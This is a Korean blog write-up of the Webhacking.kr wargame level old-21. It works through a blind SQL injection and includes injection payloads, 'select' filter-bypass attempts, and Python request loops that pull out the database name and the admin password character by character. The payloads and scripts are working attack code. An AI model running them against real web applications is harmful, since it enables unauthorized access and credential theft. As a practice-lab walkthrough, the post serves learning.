old-21이다.
대놓고 BLIND SQL INJECTION이라고 알려준다.
id와 pw에 각각 1을 넣어보았다. Result가 login fail로 나왔다.
get으로 id와 pw값을 포함해 요청하고 있다.
id = guest
pw = guest 를 넣어보니 login sucess가 출력됐다.
admin으로 로그인하면 되는건가?
id=admin&pw=' or 1#을 보내봤다.
wrong password가 출력됐다.
union을 이용해 select문을 만들어 넣어보았는데 no hack이 출력된다. 필터링되는 문자도 있는 듯 하다.
1. login fail
2. login success
3. wrong password
4. no hack
이렇게 4가지로 출력이 구분되어 있는 것 같은데
login fail과 wrong password의 차이를 모르겠다
있는 계정임에도 불구하고 login fail이 나온다.
guest/asdf 이 fail을 반환하니 쿼리 뒤에 추가적인 구문이 있고, 구문을 만족하지 않으면 fail을 반환하는것 같은데,
조건을 알 수 없으므로 #으로 주석처리를 하도록 하자.
아마 php 코드가
$db = dbconnect();
$id=$_GET['id']
$pw=$_GET['pw']
$result=mysqli_query($db,"select COLUMN from users where uid=($id) and upw=($pw)")
이런 식으로 되어있는 듯 하다
' or 1# -> wrong
' or 0# -> fail 이니 TRUE일때 wrong을 반환하는 것 같다.
이제 ' or [구문]# 을 id 부분에 삽입해 알고 싶은 구문의 참거짓 정보를 알 수 있게 됐다.
1. 테이블 정보
2. 컬럼 정보
3. admin의 pw 정보(예상)
순서대로 찾아보자
union 구문을 사용해 찾아보려고 했는데 select가 필터링되는데?
url에서 get으로 id값을 받아가므로 id?=' union sel%09ect 1%23&pw=1 으로 TAB을 끼워넣어보자
-> login fail이 출력된다.
%20 %00을 사용해봐도 안된다
왜 안될까
select를 사용할 수 없을 것 같아서 일단 select 없이도 구할 수 있는 DB명을 알아내봤다.
for i in range(1,30):
lenparam = f"?id=' or if(length(database())={i},1,0)%23&pw=1"
r = requests.get(url+lenparam)
if 'wrong password' in r.text:
print(i)
break
# DB_length -> 10
dbname = ''
for i in range(1,10+1):
for j in range(33,127+1):
param = f"?id=' or if(ascii(substr(database(),{i},1))={j},1,0)%23&pw=1"
r = requests.get(url + param)
print(f"data : {dbname}")
if 'wrong password' in r.text:
dbname += chr(j)
DB명은 webhacking이었다.
다음은 테이블명을 구해야 하는데 select를 우회할 방법을 못찾겠다.
그래서 컬럼명을 그냥 때려맞혀보기로 했다.
pw를 구해야 하니 컬럼명도 pw이지 않을까?
for i in range(1,50):
param = f"?id=' or if(length(pw)={i},1,0)%23&pw=1"
r = requests.get(url + param)
if 'wrong password' in r.text:
print(f"{i}")
# break
컬럼명이 pw인 데이터의 길이를 구해봤다. 다행히도 컬럼명이 pw가 맞는 듯 하다
5가 나왔는데 guest 인 것 같아서 break를 뺐다.
5와 36에서 'wrong password'가 출력이 됐다. 길이가 36인 데이터가 admin의 pw인 듯하다.
pwdata = ''
for i in range(1,36+1):
for j in range(33,127+1):
param = f"?id=' or if(ascii(substr(pw,{i},1))={j},1,0)%23&pw=1"
r = requests.get(url + param)
print(f"pwdata : {pwdata}")
if 'wrong password' in r.text:
pwdata += chr(j)
36자리의 pw를 구하는 코드이다.
-> gthuerset_is_no_rest_for_the_white_angel 가 나왔다.
이상한데?
잘 보니 GthUErSeT_is_no_rest_for_the_white_angel
guest가 끼어있다. 단순히 pw의 값을 반환시켜서 guest와 admin의 pw 둘 다 포함된 듯 하다.
(E는 공통 부분이라 중복안된듯)
pwdata = ''
for i in range(1,36+1):
for j in range(33,127+1):
param = f"?id=admin' and if(ascii(substr(pw,{i},1))={j},1,0)%23&pw=1"
r = requests.get(url + param)
print(f"pwdata : {pwdata}")
if 'wrong password' in r.text:
pwdata += chr(j)
break
admin' and 로 수정해서 id가 admin일 경우로 제한하고 뒤의 if문까지 만족해야 1이 반환되도록 수정했다.
n번째 문자를 찾았을 경우 바로 다음 문자를 검색할 수 있게 break도 추가했다.
-> there_is_no_rest_for_the_white_angel
을 admin과 함께 넣어주면
근데 만약 컬럼명이 pw가 아니었다면 어떻게 했어야 할까
컬럼명을 브루트포싱해서 찾았어야 하나
if 'guest' in [임의의 컬럼값] 이런식으로 짜야되나?
모르겠당
'Webhacking.kr' 카테고리의 다른 글
[Webhacking.kr] old-20 풀이 (0) | 2024.07.15 |
---|---|
[Webhacking.kr] old-02 풀이 (0) | 2024.07.14 |
[Webhacking.kr] old-54 풀이 (0) | 2024.07.12 |
[Webhacking.kr] old-38 풀이 (0) | 2024.07.12 |
[Webhacking.kr] old-16 풀이 (0) | 2024.07.11 |